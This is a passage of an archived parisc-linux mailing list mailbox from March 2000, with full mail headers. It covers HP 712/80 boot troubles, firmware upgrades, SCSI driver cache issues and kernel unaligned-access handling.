Xref: news.gmane.org gmane.linux.ports.parisc:6954

On Thu, Mar 02, 2000 at 01:19:40PM -0800, Grant Grundler wrote:
> I was just talking about that with someone and thinking we could
> put that in a "common" I/O path. I found "wakeup_bdflush()" but have
> no clue what that does.

that's the kernel demon which writes dirty pages to disk and has nothing
to do with flushing caches, unfortunately.


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rajiv Dighe" <rdighe@nortelnetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble booting 712/80
Date: Fri, 3 Mar 2000 11:55:11 -0500
Organization: Nortel Networks
Lines: 20
Approved: news@gmane.org
Message-ID: <00e601bf8531$3d7f7c40$4c50fb8d@corpnorth.baynetworks.com>
Reply-To: "Rajiv Dighe" <rdighe@nortelnetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618811 30933 80.91.229.3 (22 Nov 2014 01:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:31 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: rdighe@nortelnetworks.com  Fri Mar  3 10:53:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA09931
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 10:53:55 -0700
Original-Received: (qmail 4274 invoked by uid 15267); 3 Mar 2000 16:54:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4264 invoked from network); 3 Mar 2000 16:54:58 -0000
Original-Received: from smtprch1.nortelnetworks.com (HELO smtprch1.nortel.com) (192.135.215.14)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 16:54:58 -0000
Original-Received: from zcard00n.ca.nortel.com (actually zcard00n) 
          by smtprch1.nortel.com; Fri, 3 Mar 2000 10:53:48 -0600
Original-Received: from zcard00b.ca.nortel.com ([47.128.208.105]) 
          by zcard00n.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id GC0N3TCH; Fri, 3 Mar 2000 11:53:36 -0500
Original-Received: from netrdighe (NET-RDIGHE [141.251.80.76]) by zcard00b.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id FHAFJVCP; Fri, 3 Mar 2000 11:53:36 -0500
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:6955

Hi,

    HP newbie here. I just acquired a 712/80 with 96mb ram & 1gb hdd. I am
looking forward to helping with linux port effort as soon as I can get HP/UX
10.20 installed on this darn machine. so far it refuses t o boot from
cd-rom. cd-rom is seen as a result of search command issued at boot-admin
prompt but 'boot scsi.5' just returns me back to boot_admin promt after
about 5 seconds. boot rom version is 1.6. All I know is that this machine
was set for netbooting. any ideas?

--Rajiv
PS: both cd-rom & media are known & proven to be good. other 712s have been
installed using same drive/media.
---------------------------------------
NetID Group
Nortel Networks
613-798-4914
---------------------------------------



From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting 712/80
Date: Fri, 03 Mar 2000 09:48:20 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <200003031748.JAA02166@milano.cup.hp.com>
References: <00e601bf8531$3d7f7c40$4c50fb8d@corpnorth.baynetworks.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618811 30939 80.91.229.3 (22 Nov 2014 01:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:31 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: "Rajiv Dighe" <rdighe@nortelnetworks.com>
Original-X-From: grundler@cup.hp.com  Fri Mar  3 11:45:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA10330
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 11:45:51 -0700
Original-Received: (qmail 10156 invoked by uid 15267); 3 Mar 2000 17:46:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10148 invoked from network); 3 Mar 2000 17:46:49 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 17:46:49 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 7EB597D4; Fri,  3 Mar 2000 09:46:48 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id JAA02166; Fri, 3 Mar 2000 09:48:21 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 03 Mar 2000 11:55:11 PST."
             <00e601bf8531$3d7f7c40$4c50fb8d@corpnorth.baynetworks.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6956

"Rajiv Dighe" wrote:
> Hi,
> 
>     HP newbie here. I just acquired a 712/80 with 96mb ram & 1gb hdd. I am
> looking forward to helping with linux port effort as soon as I can get HP/UX
> 10.20 installed on this darn machine. so far it refuses t o boot from
> cd-rom. cd-rom is seen as a result of search command issued at boot-admin
> prompt but 'boot scsi.5' just returns me back to boot_admin promt after
> about 5 seconds. boot rom version is 1.6. All I know is that this machine
> was set for netbooting. any ideas?

Two things:
1) If you are planning on cold installing the box, I'd reccomend HP-UX
   11.x (preferably 9910 release) as that's what the tool chains are
   being tested with. 10.20 should work too but you know....

2) iirc, The latest rev of 712 firmware is v2.3.
   Can some other HP person comment on if we can post the upgrade
   tools on the web for 712/715/et al?
   (The risk is someone will blow away their firmware with an image
   for the wrong box and blame HP).

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rajiv Dighe" <rdighe@nortelnetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting 712/80
Date: Fri, 3 Mar 2000 13:15:08 -0500
Organization: Nortel Networks
Lines: 54
Approved: news@gmane.org
Message-ID: <015401bf853c$684a1240$4c50fb8d@corpnorth.baynetworks.com>
References: <200003031748.JAA02166@milano.cup.hp.com>
Reply-To: "Rajiv Dighe" <rdighe@nortelnetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618811 30942 80.91.229.3 (22 Nov 2014 01:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:31 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: "Rajiv Dighe" <rdighe@nortelnetworks.com>,
        Grant Grundler <grundler@cup.hp.com>
Original-X-From: rdighe@nortelnetworks.com  Fri Mar  3 12:13:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA10898
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 12:13:40 -0700
Original-Received: (qmail 31853 invoked by uid 15267); 3 Mar 2000 18:14:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31838 invoked from network); 3 Mar 2000 18:14:43 -0000
Original-Received: from smtprch1.nortelnetworks.com (HELO smtprch1.nortel.com) (192.135.215.14)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 18:14:43 -0000
Original-Received: from zcard00n.ca.nortel.com (actually zcard00n) 
          by smtprch1.nortel.com; Fri, 3 Mar 2000 12:13:44 -0600
Original-Received: from zcard00b.ca.nortel.com ([47.128.208.105]) 
          by zcard00n.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id GC0N36N4; Fri, 3 Mar 2000 13:13:32 -0500
Original-Received: from netrdighe (NET-RDIGHE [141.251.80.76]) by zcard00b.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id FHAFJVFQ; Fri, 3 Mar 2000 13:13:32 -0500
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:6957

Grant,

     I do have firmware image 2.3 on a tape for this machine...same problem
though...how can I boot using that image if this machine won't let me boot??
I will try to setup netbooting environment this weekend..but not even sure
if that will work...

--Rajiv
---------------------------------------
NetID Group
Nortel Networks
613-798-4914
---------------------------------------

----- Original Message -----
From: "Grant Grundler" <grundler@cup.hp.com>
To: "Dighe, Rajiv (R.) [EXCHANGE:CANOI:IO47]" <rdighe@americasm01.nt.com>
Cc: "parisc-linux" <parisc-linux@thepuffingroup.com>
Sent: Friday, March 03, 2000 12:48 PM
Subject: Re: [parisc-linux] Trouble booting 712/80


> "Rajiv Dighe" wrote:
> > Hi,
> >
> >     HP newbie here. I just acquired a 712/80 with 96mb ram & 1gb hdd. I
am
> > looking forward to helping with linux port effort as soon as I can get
HP/UX
> > 10.20 installed on this darn machine. so far it refuses t o boot from
> > cd-rom. cd-rom is seen as a result of search command issued at
boot-admin
> > prompt but 'boot scsi.5' just returns me back to boot_admin promt after
> > about 5 seconds. boot rom version is 1.6. All I know is that this
machine
> > was set for netbooting. any ideas?
>
> Two things:
> 1) If you are planning on cold installing the box, I'd reccomend HP-UX
>    11.x (preferably 9910 release) as that's what the tool chains are
>    being tested with. 10.20 should work too but you know....
>
> 2) iirc, The latest rev of 712 firmware is v2.3.
>    Can some other HP person comment on if we can post the upgrade
>    tools on the web for 712/715/et al?
>    (The risk is someone will blow away their firmware with an image
>    for the wrong box and blame HP).
>
> grant
>
> Grant Grundler
> Unix Development Lab
> +1.408.447.7253


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew Earley" <mearley@nortelnetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting 712/80
Date: Fri, 03 Mar 2000 13:43:13 -0500
Organization: Nortel Networks
Lines: 16
Approved: news@gmane.org
Message-ID: <38C007C1.5E179C4B@americasm01.nt.com>
References: <00e601bf8531$3d7f7c40$4c50fb8d@corpnorth.baynetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618812 30948 80.91.229.3 (22 Nov 2014 01:13:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:32 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: "Rajiv Dighe" <rdighe@nortelnetworks.com>
Original-X-From: mearley@nortelnetworks.com  Fri Mar  3 12:43:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA11514
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 12:43:42 -0700
Original-Received: (qmail 24193 invoked by uid 15267); 3 Mar 2000 18:44:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24182 invoked from network); 3 Mar 2000 18:44:44 -0000
Original-Received: from smtprch1.nortelnetworks.com (HELO smtprch1.nortel.com) (192.135.215.14)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 18:44:44 -0000
Original-Received: from zrchb213.us.nortel.com (actually zrchb213) 
          by smtprch1.nortel.com; Fri, 3 Mar 2000 12:43:40 -0600
Original-Received: from zrtpd003.us.nortel.com ([47.140.224.137]) 
          by zrchb213.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id GB6KQ5H4; Fri, 3 Mar 2000 12:43:27 -0600
Original-Received: from americasm01.nt.com (hrtpp10b.us.nortel.com [47.67.239.226]) 
          by zrtpd003.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id FXSM1905; Fri, 3 Mar 2000 13:43:29 -0500
Original-Sender: "Matthew Earley" <mearley@nortelnetworks.com>
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6958

"Dighe, Rajiv (R.) [EXCHANGE:CANOI:IO47]" wrote:

>     HP newbie here. I just acquired a 712/80 with 96mb ram & 1gb hdd. I am
> looking forward to helping with linux port effort as soon as I can get HP/UX
> 10.20 installed on this darn machine. so far it refuses t o boot from
> cd-rom. cd-rom is seen as a result of search command issued at boot-admin
> prompt but 'boot scsi.5' just returns me back to boot_admin promt after
> about 5 seconds. boot rom version is 1.6. All I know is that this machine
> was set for netbooting. any ideas?

Is the CD-ROM drive external?  If so, try connecting another device
between the CD-ROM and the scsi port.  I remember something squirelly
about the 712 and the external scsi.

Matt


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jerry Huck <jerry_huck@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Fri, 3 Mar 2000 11:10:58 -0800 (PST)
Lines: 39
Approved: news@gmane.org
Message-ID: <200003031910.LAA19111@lucy.cup.hp.com>
References: <006601bf8487$e057e010$a94abc0f@hungary.hp.com>
Reply-To: huck@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618812 30953 80.91.229.3 (22 Nov 2014 01:13:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: gyula_matics@hp.com
Original-X-From: huck@cup.hp.com  Fri Mar  3 13:15:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA13531
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 13:15:12 -0700
Original-Received: (qmail 17234 invoked by uid 15267); 3 Mar 2000 19:16:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17225 invoked from network); 3 Mar 2000 19:16:16 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 19:16:16 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel3.hp.com (Postfix) with ESMTP id 3B4B8C86
	for <parisc-linux@thepuffingroup.com>; Fri,  3 Mar 2000 11:16:15 -0800 (PST)
Original-Received: (from huck@localhost) by lucy.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id LAA19111; Fri, 3 Mar 2000 11:10:58 -0800 (PST)
In-Reply-To: <006601bf8487$e057e010$a94abc0f@hungary.hp.com> from Gyula Matics at Mar "2," 2000 "09:42:50" pm
X-Mailer: ELM [$Revision: 1.17.214.3 $]
Original-Sender: huck@cup.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:6959

> From: "Gyula Matics" <gyula_matics@hp.com>
> To: <parisc-linux@puffin.external.hp.com>
> Date: Thu, 2 Mar 2000 21:42:50 +0100
> Subject: [parisc-linux] lasi scsi driver

> It's only half working. It can list the devices on the bus, but that's all.
> 
> It is not working because it needs a horrible amount of cache flushing
> and I still didn't get it right. (the committed code only contains enough
> flushing to pass the two debugging tests)
> 
> The scsi card is running code that is in the main memory and the driver
> is heavily patching that. The bigger problem is that the communication
> with the card is done via a mailbox also residing in the main memory
> and the driver is assuming that this mailbox is on a non-cacheable page.
> 
> I know that the architecture supports setting a page non-cacheable.
> My question is if it is possible / good idea to set the mailbox page
> to non-cacheable?
> 
> Gyula

While the PA-RISC processor architecture supports the notion of a
non-cacheable page, most HP memory systems do not - certainly not the
most recent memory systems.  If you set the U-bit on a main memory page
and then reference the page, the processor will emit a sub-cacheline
transaction and the memory system will do something bad (probably
HPMC).  Also, I can't find any architected interface that would let
you test if a memory page could be accessed uncacheable.

Even for IA-64, main memory systems do not have to support uncacheable
references.  A PDC-like mechanism - PAL/SAL/EFI - reports the
available memory ranges and gives the supported attributes.  In the
IA-64 case, the I/O system is coherent so you don't need any of the
cache flushing.  So don't ever get in the situation where you need
uncacheable main memory.

Jerry Huck


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Upgrading System Firmware
Date: Fri, 03 Mar 2000 11:19:25 -0800
Lines: 54
Approved: news@gmane.org
Message-ID: <200003031919.LAA02399@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618812 30956 80.91.229.3 (22 Nov 2014 01:13:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Mar  3 13:16:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA13871
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 13:16:51 -0700
Original-Received: (qmail 18530 invoked by uid 15267); 3 Mar 2000 19:17:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18512 invoked from network); 3 Mar 2000 19:17:54 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 19:17:54 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 4559D59C
	for <parisc-linux@thepuffingroup.com>; Fri,  3 Mar 2000 11:17:53 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id LAA02399 for <parisc-linux@thepuffingroup.com>; Fri, 3 Mar 2000 11:19:26 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:6960


------- Forwarded Message

Subject: Upgrading System Firmware
To: grundler@cup.hp.com (Grant Grundler)
Date: Fri, 03 Mar 2000 12:10:30 MST

Grant,

You could forward this on to the puffin mail list ?

Thanks,
Mike

============= Upgrading System Firmware ============


Grant asked if another HP person could answer the question about
upgrading firmware.

All systems that support field upgradable firmware (flash ROMs) are 
available from the HP support web page.

Point your browser at 
    http://us-support.external.hp.com/

At some point you will need to register to get access to the firmware
update files.  It's free.

Once you have registered, from the main page select
    1) Maintenance and Support

>From this page, select
    2) Patching - Individual Patches

>From this page, select
    3) Firmware Patches

And from this page
    4) Select CPU patches checkbox and click Show Patches button

You will see the list of all firmware patches.

Note that what you will get is basically a shar file with a LIF volume
inside the shar.  You can dd this LIF image to DAT and boot the dat tape
to update, or you can put the LIF image on a bootp or install_bootp server
and update from the network.

Regards,
Mike King
king@fc.hp.com

------- End of Forwarded Message


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew Earley" <mearley@nortelnetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting 712/80
Date: Fri, 03 Mar 2000 14:46:12 -0500
Organization: Nortel Networks
Lines: 20
Approved: news@gmane.org
Message-ID: <38C01684.AAE34939@americasm01.nt.com>
References: <00e601bf8531$3d7f7c40$4c50fb8d@corpnorth.baynetworks.com> <38C007C1.5E179C4B@americasm01.nt.com> <01af01bf8544$2f2864f0$4c50fb8d@corpnorth.baynetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618813 30958 80.91.229.3 (22 Nov 2014 01:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:33 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: "Rajiv Dighe" <rdighe@nortelnetworks.com>
Original-X-From: mearley@nortelnetworks.com  Fri Mar  3 13:47:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14466
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 13:47:03 -0700
Original-Received: (qmail 9369 invoked by uid 15267); 3 Mar 2000 19:48:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9297 invoked from network); 3 Mar 2000 19:48:03 -0000
Original-Received: from smtprch1.nortelnetworks.com (HELO smtprch1.nortel.com) (192.135.215.14)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 19:48:03 -0000
Original-Received: from zrchb213.us.nortel.com (actually zrchb213) 
          by smtprch1.nortel.com; Fri, 3 Mar 2000 13:46:39 -0600
Original-Received: from zrtpd003.us.nortel.com ([47.140.224.137]) 
          by zrchb213.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id GB6KQ7MP; Fri, 3 Mar 2000 13:46:26 -0600
Original-Received: from americasm01.nt.com (hrtpp10b.us.nortel.com [47.67.239.226]) 
          by zrtpd003.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id FXSM10F5; Fri, 3 Mar 2000 14:46:28 -0500
Original-Sender: "Matthew Earley" <mearley@nortelnetworks.com>
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6961

Rajiv Dighe wrote:
> 
> ----- Original Message -----
> From: "Earley, Matthew [PGC:9475:EXCH]" <mearley@americasm01.nt.com>
> > Is the CD-ROM drive external?  If so, try connecting another device
> > between the CD-ROM and the scsi port.  I remember something squirelly
> > about the 712 and the external scsi.
> >
> > Matt
> 
> Yes, It's an external cd-rom drive. unfortunately 712s can't have more than
> one scsi device internally. and definately nothing with 5.25" formfactor.
> but I will try to open the case & put the cd-rom or my dat drive on a long
> internal scsi cable tonight.

I meant to say, just put a tape or disk shoeboc between the cd-rom  and
the 712.  You may think I'm crazy, but give it a try.

Matt


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 trap
Date: Fri, 3 Mar 2000 22:53:11 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20000303225311.C27816@alpha.franken.de>
References: <20000224224934.N9944@thepuffingroup.com> <200002252036.MAA04792@milano.cup.hp.com> <20000225230348.E812@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618813 30963 80.91.229.3 (22 Nov 2014 01:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:33 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, willy@thepuffingroup.com,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Fri Mar  3 15:59:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA15821
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 15:59:37 -0700
Original-Received: (qmail 9436 invoked by uid 15267); 3 Mar 2000 22:00:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9417 invoked from network); 3 Mar 2000 22:00:10 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 22:00:10 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12R04O-0027lhC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Fri, 3 Mar 2000 22:57:12 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12R04G-002Oo6C; Fri, 3 Mar 100 22:57 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id WAA27935;
	Fri, 3 Mar 2000 22:53:11 +0100
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000225230348.E812@abacus.local>; from Philipp Rumpf on Fri, Feb 25, 2000 at 11:03:48PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6962

On Fri, Feb 25, 2000 at 11:03:48PM +0100, Philipp Rumpf wrote:
> > > Uh oh.  We really need a kernel unaligned trap handler.  Some of
> > > the network protocols rely on that being handled right (yes, i know.
> > > it sucks.)
> > 
> > It really sucks. If any code in the performance path depends on this,
> 
> Another vote for "it sucks".
> 
> Which network drivers, protocols aso exactly are you using (and did you
> check for the bug Matthew posted an URL for ?) ?  I really don't think
> we should write an unaligned handler until we find ourselves using weird
> protocols (and hopefully not even then).

the first person using IPX will need an unaligend trap handler. All the
ethernet driver try to align the IP header to a 32bit boundary (that's
the reason for the skb_reserve(skb, 2)), which messes up the alignment
in IPX headers. And there are ethernet chips, which can only handle
32bit aligned receive buffer (tulip for example). You either have to
copy the received frame to a proper aligned new skb (that's what we
do at the moment) or handle the missalignment in an unaligned trap
handler.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF32 kernel
Date: Fri, 03 Mar 2000 15:00:05 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <E12R07B-0006YS-00@endor.fc.hp.com>
References: <E12QIeA-0002KV-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618813 30965 80.91.229.3 (22 Nov 2014 01:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Fri Mar  3 15:59:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA15883
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 15:59:53 -0700
Original-Received: (qmail 9525 invoked by uid 15267); 3 Mar 2000 22:00:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9515 invoked from network); 3 Mar 2000 22:00:17 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 22:00:17 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel1.hp.com (Postfix) with ESMTP id EE32795A
